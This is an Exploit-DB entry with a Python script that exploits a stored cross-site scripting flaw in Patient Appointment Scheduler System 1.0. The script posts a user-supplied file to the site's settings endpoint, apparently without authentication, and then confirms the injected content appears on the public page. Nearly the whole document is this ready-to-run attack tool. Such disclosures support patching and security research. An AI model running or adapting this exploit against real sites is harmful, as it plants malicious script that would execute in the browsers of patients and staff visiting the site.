Exploit-DB #50265
Description: Patient Appointment Scheduler System 1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2021-09-06
Author: a-rey

Exploit:
# Exploit Title: Patient Appointment Scheduler System 1.0 - Persistent/Stored XSS
# Date: 03/09/2021
# Exploit Author: a-rey 
# Vendor Homepage: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14928
# Version: v1.0
# Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Patient_Appointment_Scheduler_System/v1.0/writeup.md

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import logging
import requests
import argparse

BANNER = """
╔═══════════════════════════════════════════════════════════════════╗
║ Patient Appointment Scheduler System v1.0 - Persistent/Stored XSS ║
╚═══════════════════════════════════════════════════════════════════╝
 by: \033[0m\033[1;31m █████╗      ██████╗ ███████╗██╗   ██╗\033[0m
     \033[0m\033[1;32m██╔══██╗     ██╔══██╗██╔════╝██║   ██║\033[0m
     \033[0m\033[1;33m███████║ ███ ██████╔╝█████╗   ██╗ ██═╝\033[0m
     \033[0m\033[1;34m██╔══██║     ██╔══██╗██╔══╝     ██╔╝  \033[0m
     \033[0m\033[1;35m██║  ██║     ██║  ██║███████╗   ██║   \033[0m
     \033[0m\033[1;36m╚═╝  ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝   \033[0m
"""


def exploit(url:str, file:str) -> None:
  if not os.path.exists(file):
    logging.error(f'{file} does not exist?')
    return
  logging.info(f'reading {file} for XSS content ...')
  with open(file, 'r') as f:
    xssPayload = f.read()
  logging.info(f'sending XSS payload ({len(xssPayload)} bytes) to {url}/classes/SystemSettings.php ...')
  r = requests.post(url + '/classes/SystemSettings.php', 
    data={'about_us' : xssPayload}, 
    params={'f' : 'update_settings'},
    verify=False
  )
  if not r.ok:
    logging.error('HTTP request failed')
    return
  logging.info('checking for XSS payload on main page ...')
  r = requests.get(url)
  if xssPayload not in r.text:
    logging.error(f'XSS injection failed? received: {r.text}')
    logging.warning('maybe about.html is not writable?')
    return
  logging.success('XSS payload found on target website')
  return
  
  
if __name__ == '__main__':
  # parse arguments
  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
  parser.add_argument('-u', '--url',  help='website URL',                     type=str, required=True)
  parser.add_argument('-f', '--file', help='file with DOM content to inject', type=str, required=True)
  parser.add_argument('--debug',      help='enable debugging output',         action='store_true', default=False)
  args = parser.parse_args()
  # define logger
  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG')
  logging.SUCCESS = logging.CRITICAL + 1
  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
  logging.addLevelName(logging.ERROR,   '\033[0m\033[1;31mFAIL\033[0m')
  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
  logging.addLevelName(logging.INFO,    '\033[0m\033[1;36mINFO\033[0m')
  logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
  # print banner
  print(BANNER)
  # run exploit
  exploit(args.url, args.file)